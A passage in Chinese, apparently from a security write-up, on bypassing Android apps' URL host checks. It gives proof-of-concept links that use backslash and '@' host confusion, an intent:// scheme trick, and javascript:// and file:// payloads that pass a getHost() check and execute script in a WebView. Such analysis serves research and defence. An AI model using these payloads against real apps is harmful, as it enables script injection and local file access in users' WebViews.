<a href="[scheme]://[host]/[path]?[query]">调用格式</a>
-->
<a href="https://attacker.com\\@legitimate.com/">Click Attack v1</a>
<a href="https://attacker.com%5C%5C@legitimate.com/">Click Attack v2</a>

然而,对于第一个链接,浏览器会自动把反斜杠 “" 纠正为正斜杠 “/“

对于第二个链接,反斜杠 “" 会以 URL 编码形式保留而无法触发方法1

1
host = attacker.com%5C%5C@legitimate.com

通过仔细研究intent://scheme工作机制,发现可以通过如下方式保留反斜杠 "\" 的方法:

PoC:

1
<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@legitimate.com/;end">Click Attack v3</a>

跟踪源码,可以看到,访问这个链接,等价于执行:

1
Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")

从而实现方法1的远程执行版本。

四、缺少scheme验证

实战不乏有些 App 对 host 做了校验,但却遗漏了对 scheme 的检查。

可以用下面的 uri, 尝试进行 js 和 file 域的 PoC:

1
2
javascript://legitimate.com/%0aalert(1)//
file://legitimate.com/sdcard/payload.html

javascript://legitimate.com/%0aalert(1)//

App 的校验视角

uri.getHost() -> “legitimate.com”

通过校验。

WebView 的执行视角,javascript:// 是 WebView 支持的 scheme,语义是把后面的内容当作 JS 代码执行而 %0a 是 URL 编码的 换行符(\n)所以 WebView 实际执行的是:

alert(1)